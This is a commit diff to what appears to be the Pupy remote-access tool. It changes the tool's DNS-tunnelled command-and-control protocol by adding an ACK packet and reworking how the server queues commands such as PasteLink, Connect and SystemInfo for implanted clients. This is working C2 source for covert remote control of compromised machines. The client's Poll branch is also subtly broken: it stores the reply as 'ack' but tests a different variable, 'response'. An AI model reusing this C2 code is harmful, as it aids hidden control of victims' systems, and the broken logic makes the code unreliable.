DNSCNC minor improvements

[+] Add ACK packet type.
    It's possible that multiple same packets will arrive to server, and
    that response which doesn't contains commands will be delivered to the client

pupy/network/lib/picocmd/ascii85.py

@@ -1,3 +1,5 @@
+# -*- coding: utf-8 -*-
+
 import string
 
 def ascii85EncodeDG(str):

pupy/network/lib/picocmd/baseconv.py

@@ -1,3 +1,5 @@
+# -*- coding: utf-8 -*-
+
 # Copyright (c) 2010, 2011, 2012, 2015 Guilherme Gondim. All rights reserved.
 # Copyright (c) 2009 Simon Willison. All rights reserved.
 # Copyright (c) 2002 Drew Perttula. All rights reserved.

pupy/network/lib/picocmd/client.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+# -*- coding: utf-8 -*-
 
 import struct
 import socket
@@ -175,6 +175,9 @@ class DnsCommandsClient(Thread):
     def process(self):
         commands = list(self._request(Poll()))
     	logging.debug('commands: {}'.format(commands))
+        ack = self._request(Ack(len(commands)))
+        if not ( len(ack) == 1 and isinstance(ack[0], Ack)):
+            logging.error('ACK <-> ACK failed: received: {}'.format(ack))
 
         for command in commands:
             responses = []
@@ -193,7 +196,10 @@ class DnsCommandsClient(Thread):
                     key = self.encoder.process_kex_response(response[0].parcel)
                     self.spi = kex.spi
             elif isinstance(command, Poll):
-                responses = self._request(SystemInfo())
+                ack = self._request(SystemInfo())
+                if not len(response) == 1 and not isinstance(response[0], Ack):
+                    logging.error('SystemInfo: ACK expected but {} found'.format(
+                        response))
             elif isinstance(command, PasteLink):
                 self.on_pastelink(command.url, command.action, self.encoder)
             elif isinstance(command, Connect):
@@ -203,13 +209,9 @@ class DnsCommandsClient(Thread):
             elif isinstance(command, Disconnect):
                 self.on_disconnect()
             elif isinstance(command, Exit):
-                responses = self._request(Exit())
                 self.active = False
                 self.on_exit()
 
-            for command in responses:
-                commands.append(command)
-
     def run(self):
         while True:
             try:

pupy/network/lib/picocmd/ecpv.py

@@ -1,3 +1,5 @@
+# -*- coding: utf-8 -*-
+
 from tinyec import ec, registry
 import os
 import math

pupy/network/lib/picocmd/picocmd.py

@@ -1,3 +1,5 @@
+# -*- coding: utf-8 -*-
+
 import struct
 import netaddr
 import re
@@ -41,6 +43,21 @@ class Poll(Command):
     def __repr__(self):
         return '{POLL}'
 
+class Ack(Command):
+    def __init__(self, amount=0):
+        self.amount = amount
+
+    def pack(self):
+        return chr(self.amount)
+
+    @staticmethod
+    def unpack(data):
+        return Ack(amount=ord(data[0])), 1
+
+    def __repr__(self):
+        return '{{ACK ({})}}'.format(self.amount)
+
+
 class Idle(Command):
     @staticmethod
     def unpack(data):
@@ -418,7 +435,7 @@ class ParcelInvalidCommand(Exception):
 class Parcel(object):
     # Explicitly define commands. In other case make break something
     commands = [
-        Poll, Policy, Idle, Kex,
+        Poll, Ack, Policy, Idle, Kex,
         Connect, PasteLink, SystemInfo, Error, Disconnect, Exit
     ]
 

pupy/network/lib/picocmd/server.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+# -*- coding: utf-8 -*-
 
 import copy
 import struct
@@ -269,6 +269,9 @@ class DnsCommandServerHandler(BaseResolver):
         if isinstance(command, Poll) and session is None:
             return [Policy(self.interval, self.kex), Poll()]
 
+        elif isinstance(command, Ack) and (session is None):
+            return [Ack()]
+
         elif isinstance(command, Exit):
             if session and session.system_info:
                 self.on_exit(session.system_info)
@@ -279,16 +282,21 @@ class DnsCommandServerHandler(BaseResolver):
             return [Exit()]
 
         elif isinstance(command, Poll) and (session is not None):
-                self.on_keep_alive(session.system_info)
-                commands = session.commands
-                session.commands = []
-                return commands
+            self.on_keep_alive(session.system_info)
+            commands = session.commands
+            return commands
+
+        elif isinstance(command, Ack) and (session is not None):
+            self.on_keep_alive(session.system_info)
+            if command.amount > len(session.commands):
+                logging.error('ACK: invalid amount of commands: {} > {}'.format(
+                    command.amount, len(session.commands)))
+            session.commands = session.commands[command.amount:]
+            return [Ack()]
 
         elif isinstance(command, SystemInfo) and session is not None:
             session.system_info = command.get_dict()
-            commands = session.commands
-            session.commands = []
-            return commands
+            return [Ack()]
 
         elif isinstance(command, Kex):
             with self.lock: